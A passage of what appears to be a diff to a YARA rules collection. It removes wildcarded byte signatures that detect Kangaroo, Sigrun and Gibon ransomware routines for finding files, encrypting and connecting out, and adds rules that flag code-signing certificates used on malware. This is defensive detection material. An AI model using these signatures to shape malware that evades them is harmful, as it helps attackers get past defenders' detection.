8D 49 ?? - 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 57 E8 ?? ?? ?? ?? 53 6A ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? - ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 EC ?? 8B F4 33 D2 C7 46 ?? ?? - ?? ?? ?? 89 5E ?? 8D 44 24 ?? 66 89 56 ?? 89 64 24 ?? 8D 50 ?? 8D A4 24 ?? ?? ?? ?? - 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 44 24 ?? E8 ?? ?? ?? ?? 57 E8 ?? - ?? ?? ?? 53 6A ?? 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? - ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 EC ?? 8B F4 33 D2 C7 - } - $encrypt_files_p3 = { - 46 ?? ?? ?? ?? ?? 89 5E ?? 8D 84 24 ?? ?? ?? ?? 66 89 56 ?? 89 64 24 ?? 8D 50 ?? 90 - 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 57 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D 44 24 ?? 50 53 6A ?? 53 53 53 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 89 5C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4C 24 ?? 51 FF 15 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B F8 53 - 57 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8D 54 - 24 ?? 52 57 8B CE E8 ?? ?? ?? ?? 8B 74 24 ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 74 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 8B 8C 24 ?? ?? ?? ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8C 24 ?? - ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $generate_key = { - 50 C7 44 24 ?? ?? ?? ?? ?? F3 A5 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? ?? - ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 44 24 ?? 8D 4C 24 ?? 51 - 6A ?? 6A ?? 6A ?? 8D 54 24 ?? 52 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? - ?? ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 54 24 ?? 6A ?? 8D 4C - 24 ?? 51 6A ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? ?? ?? 5B 8B 4C 24 - ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 54 24 ?? 6A ?? 8D 44 24 ?? 50 8D 4C 24 - ?? 51 6A ?? 52 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? - ?? ?? ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 44 24 ?? C1 E8 ?? - 89 44 24 ?? 03 C3 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 5F 5E 5D B8 ?? ?? ?? - ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 53 55 56 E8 ?? ?? ?? ?? 8B - 4C 24 ?? 83 C4 ?? 89 5C 24 ?? 83 C3 ?? 53 8D 44 24 ?? 50 56 6A ?? 6A ?? 6A ?? 51 FF - 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? ?? ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? - ?? 83 C4 ?? C2 ?? ?? 8B 7C 24 ?? 8B 54 24 ?? 57 56 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 56 - 89 38 E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 5F 5E 5D 5B 33 CC 33 C0 E8 ?? ?? ?? ?? 83 - C4 ?? C2 - } - $remote_connection = { - 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 57 8D 44 24 ?? 50 68 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 46 ?? 83 - F8 ?? 74 ?? 8B 46 ?? 8D 7E ?? 83 E8 ?? 83 78 ?? ?? 7E ?? 8B 48 ?? 51 8B CF E8 ?? ?? - ?? ?? 8B 3F 57 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 54 24 ?? 52 89 44 24 ?? FF 15 ?? ?? - ?? ?? 85 C0 75 ?? 8B 46 ?? 50 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C0 5F 8B 8C 24 - ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 8B 48 ?? 8B 11 8B 02 0F B7 56 - ?? B9 ?? ?? ?? ?? 52 89 44 24 ?? 66 89 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 4E ?? 66 89 44 - 24 ?? 6A ?? 8D 44 24 ?? 50 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 8B - 56 ?? 52 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C0 5F 8B 8C 24 ?? ?? ?? ?? 33 CC E8 - ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 8B 8C 24 ?? ?? ?? ?? 5F 33 CC B8 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $enum_shares ) and ( all of ( $find_files_p* ) ) and ( $generate_key ) and ( all of ( $encrypt_files_p* ) ) and ( $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Largos" and pe.signatures [ i ] . serial == "35:59:0e:be:4a:02:dc:23:31:7d:8c:e4:7a:94:7a:9b" and 1602201600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Kangaroo : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Aa07D4F2857119Cee514A0Bd412F8201 : INFO FILE { meta: - description = "Yara rule that detects Kangaroo ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ec4342c1-adc9-5ddb-b403-83c2b1ce5899" - date = "2020-06-26" - modified = "2020-07-15" + id = "6bb83f26-90f5-587f-8c69-fa06beaead3e" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Kangaroo.yara#L1-L91" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12102-L12120" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1078fb3d47ad737548419e5ee66e686f705c02fea27a58c0097446547325772c" + logic_hash = "fbbea89f2070b2a527bba6199022fbffd269e664b000988a59adf4ca0d4a9f22" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Kangaroo" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 83 EC ?? 53 55 8B 6C 24 ?? 56 57 33 FF 57 57 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 33 DB 55 - 89 5C 24 ?? 89 7C 24 ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 0F 84 ?? ?? ?? - ?? 8D 44 24 ?? 50 8D 4C 24 ?? 51 8D 54 24 ?? 52 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 57 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? - 8B 54 24 ?? 8D 4C 24 ?? 51 57 57 68 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 - ?? ?? ?? ?? 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 03 C0 50 8B 44 24 ?? 68 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 54 24 ?? 8B 44 24 ?? 8D 4C 24 ?? - 51 6A ?? 52 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 57 56 FF - 15 ?? ?? ?? ?? 8B 54 24 ?? 57 8D 4C 24 ?? 51 57 57 6A ?? 57 52 89 44 24 ?? FF 15 ?? - ?? ?? ?? 8B 44 24 ?? 6A ?? 68 ?? ?? ?? ?? 50 57 8B 3D ?? ?? ?? ?? FF D7 8B 54 24 - } - $encrypt_files_p2 = { - 6A ?? 8D 4C 24 ?? 51 52 8B D8 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B - 44 24 ?? 8B 54 24 ?? 50 8D 4C 24 ?? 51 53 6A ?? 6A ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 83 - F8 ?? 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? - 8B 4C 24 ?? 6A ?? 8D 44 24 ?? 50 51 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 8D 54 24 - ?? 52 8D 44 24 ?? 50 8D 4C 24 ?? 51 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D7 68 ?? ?? ?? ?? 55 8B F8 68 ?? ?? ?? ?? 57 - FF 15 ?? ?? ?? ?? 83 C4 ?? 57 55 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? - ?? ?? ?? 8B C5 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 53 FF 15 - ?? ?? ?? ?? 8B 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 33 FF 8B 44 24 ?? 50 FF 15 - ?? ?? ?? ?? 89 7C 24 ?? 8B 4C 24 ?? 57 51 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 5F - 5E 5D 8B C3 5B 83 C4 ?? C3 - } - $find_files = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 8B 75 ?? 57 56 FF 15 ?? ?? ?? ?? 8B 3D ?? - ?? ?? ?? 33 C9 83 F8 ?? 0F 94 C1 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 89 4C 24 - ?? FF D7 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 44 24 - ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? EB ?? EB ?? 8D A4 24 ?? ?? ?? ?? 90 - 8B 3D ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 8D 54 24 ?? 52 56 68 ?? ?? ?? ?? 8D 84 24 ?? - ?? ?? ?? 50 EB ?? 8D 4C 24 ?? 51 56 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF D7 83 - C4 ?? F6 44 24 ?? ?? 74 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 - C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 51 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8D - 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 33 FF 33 F6 EB ?? 8D 9B - ?? ?? ?? ?? 8B 86 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF D3 85 C0 74 ?? BF ?? ?? - ?? ?? 83 C6 ?? 83 FE ?? 72 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF D3 85 C0 75 - ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 85 C0 74 ?? BF ?? ?? ?? ?? 8B 44 24 - ?? A8 ?? 75 ?? A9 ?? ?? ?? ?? 75 ?? 85 FF 75 ?? 3D ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? - 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 8C - 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 75 ?? 8B 44 24 ?? 8D 54 24 ?? 52 50 FF 15 ?? - ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? 51 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D - C3 - } - $enum_resources = { - 55 8B EC 83 E4 ?? 83 EC ?? 8B 4D ?? 53 56 57 8D 44 24 ?? 50 51 6A ?? 6A ?? 6A ?? C7 - 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5F 5E - 5B 8B E5 5D C2 ?? ?? 8B 54 24 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8B 4C - 24 ?? 8B C3 85 C9 74 ?? 8D 64 24 ?? C6 00 ?? 40 83 E9 ?? 75 ?? 8B 54 24 ?? 8D 44 24 - ?? 50 53 8D 4C 24 ?? 51 52 E8 ?? ?? ?? ?? 85 C0 75 ?? 33 FF 39 7C 24 ?? 76 ?? 8D 73 - ?? 8D 49 ?? 83 7E ?? ?? 75 ?? 8B 06 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4E ?? 83 E1 ?? 80 - F9 ?? 75 ?? 8D 56 ?? 52 E8 ?? ?? ?? ?? 47 83 C6 ?? 3B 7C 24 ?? 72 ?? EB ?? 3D ?? ?? - ?? ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 50 E8 ?? ?? ?? ?? 5F 5E B8 ?? ?? ?? ?? - 5B 8B E5 5D C2 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $enum_resources ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HANGA GIP d.o.o." and ( pe.signatures [ i ] . serial == "00:aa:07:d4:f2:85:71:19:ce:e5:14:a0:bd:41:2f:82:01" or pe.signatures [ i ] . serial == "aa:07:d4:f2:85:71:19:ce:e5:14:a0:bd:41:2f:82:01" ) and 1615766400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Sigrun : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_40F5660A90301E7A8A8C3B42 : INFO FILE { meta: - description = "Yara rule that detects Sigrun ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "fa627192-ed80-5115-a028-014f67f4571d" - date = "2020-06-26" - modified = "2020-07-15" + id = "c47bb4f0-d60b-5948-ac10-6083606ed46a" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sigrun.yara#L1-L111" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12122-L12138" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ea29ec64cdfc0c714fe0acdce5878cb1302dd5aa916811121c644948ce275935" + logic_hash = "3573d1d5f11df106f1f6f44f8b0164992f2a50707c6df7b08b05ed9ea7d9173b" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Sigrun" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 83 7D ?? ?? 53 56 57 8B DA C7 44 24 ?? ?? ?? ?? - ?? 8B F1 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? 89 7C 24 ?? 85 C0 75 ?? 85 FF - 75 ?? 5F 5E 5B 8B E5 5D C3 C7 44 24 ?? ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? - A1 ?? ?? ?? ?? 89 44 24 ?? A1 ?? ?? ?? ?? 89 44 24 ?? 0F B7 06 66 89 44 24 ?? 83 F8 - ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 - FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF D7 8D - 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 - ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 - ?? 8D 44 24 ?? 50 56 FF D7 F6 44 24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ?? - 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF D7 6A ?? 8B D3 8B CE E8 ?? ?? - ?? ?? EB ?? 68 ?? ?? ?? ?? 56 FF D7 6A ?? 8B D3 8B CE E8 ?? ?? ?? ?? EB ?? 53 8D 54 - 24 ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 - 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E - 33 C0 5B 8B E5 5D C3 - } - $encrypt_files_1 = { - 55 8B EC 83 EC ?? 53 57 68 ?? ?? ?? ?? 8B FA 8B D9 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5F 33 C0 5B 8B E5 5D C3 - 56 8D 45 ?? 33 F6 50 56 56 57 53 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 45 ?? - C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 68 ?? - ?? ?? ?? 50 FF 75 ?? C7 00 ?? ?? ?? ?? 56 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 8B F0 - FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C6 5E 5F 5B 8B E5 5D C3 - } - $encrypt_files_2 = { - 55 8B EC 53 56 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B DA 8B F9 FF 15 ?? ?? - ?? ?? 57 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B CF E8 ?? ?? ?? ?? 85 - C0 74 ?? 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 5D C3 8B CF E8 ?? - ?? ?? ?? 85 C0 75 ?? 83 7B ?? ?? 72 ?? 8B 55 ?? 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 56 - 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 5F 5E B8 ?? ?? ?? ?? - 5B 5D C3 - } - $encrypt_files_3 = { - 55 8B EC 83 EC ?? 56 57 E8 ?? ?? ?? ?? 85 C0 75 ?? 83 C8 ?? 5F 5E 8B E5 5D C3 8D 45 - ?? 50 8D 45 ?? 50 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 8D 4D ?? 8B D7 E8 - ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 85 C0 74 ?? - C6 04 08 ?? 8B 4D ?? 68 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 - ?? FF D6 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 05 ?? ?? ?? ?? - ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D6 68 ?? ?? ?? ?? 6A ?? - 57 FF D6 5F 33 C0 5E 8B E5 5D C3 - } - $enum_resources_1 = { - 55 8B EC 83 E4 ?? 83 EC ?? 53 56 57 8B 3D ?? ?? ?? ?? 8B F1 6A ?? 68 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 6A ?? 89 54 24 ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? FF D7 8B 1D ?? ?? - ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 85 F6 0F 85 ?? ?? - ?? ?? 8D 44 24 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF D3 85 C0 0F 85 ?? ?? ?? ?? 8D 44 24 - ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF - 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 49 ?? 33 DB 39 5C 24 ?? 0F 86 - ?? ?? ?? ?? 8B 74 24 ?? 83 C6 ?? 83 7E ?? ?? 75 ?? 8B 06 6A ?? 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 6A ?? 89 44 24 ?? FF D7 8B F8 85 FF 74 ?? FF 74 24 ?? 68 ?? ?? ?? ?? 57 FF - 15 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 8B CF 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? - 6A ?? 57 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? F6 46 ?? ?? 74 ?? FF 75 ?? 8B 54 24 ?? - 8D 4E ?? E8 ?? ?? ?? ?? 83 C4 ?? 43 83 C6 ?? 3B 5C 24 ?? 72 ?? 8D 44 24 ?? C7 44 24 - ?? ?? ?? ?? ?? 50 FF 74 24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? FF - } - $enum_resources_2 = { - 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 74 24 ?? FF 74 24 ?? FF - 15 ?? ?? ?? ?? 8D 44 24 ?? 50 56 6A ?? 6A ?? 6A ?? FF D3 8B F0 85 F6 0F 85 ?? ?? ?? - ?? 8B 74 24 ?? 8D 44 24 ?? 50 56 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? - C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 9B ?? ?? ?? ?? - 33 DB 39 5C 24 ?? 0F 86 ?? ?? ?? ?? 83 C6 ?? 90 83 7E ?? ?? 75 ?? 8B 06 6A ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 89 44 24 ?? FF D7 8B F8 85 FF 74 ?? FF 74 24 ?? 68 ?? - ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 8B CF 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? - 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? F6 46 ?? ?? 74 ?? FF 75 ?? 8B 54 24 ?? 8D - 4E ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 3D ?? ?? ?? ?? 43 83 C6 ?? 3B 5C 24 ?? 72 ?? 8B 74 - 24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 56 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? - 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 74 24 - ?? FF 15 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 8B - C6 5E 5B 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $enum_resources_* ) ) and ( $find_files ) and ( all of ( $encrypt_files_* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Booz Allen Hamilton Inc." and pe.signatures [ i ] . serial == "40:f5:66:0a:90:30:1e:7a:8a:8c:3b:42" and 1641833688 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Gibon : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0400C7614F86D75Fe4Ee3F6192B6Feda : INFO FILE { meta: - description = "Yara rule that detects Gibon ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3f1a5bee-8fc0-5596-b898-e97073731930" - date = "2020-06-26" - modified = "2020-07-15" + id = "500c9604-cc07-52b1-8c46-09894d132205" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Gibon.yara#L1-L122" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12140-L12156" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cace0f35529307487f39aace6ae8989c7b878f82ebe890b256dfac563551a099" + logic_hash = "47735267e9a0fb8107f6c4008bacc8aada1705f6714a0447dacc3928fc20cad6" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Gibon" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_server_connection_1_0 = { - 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 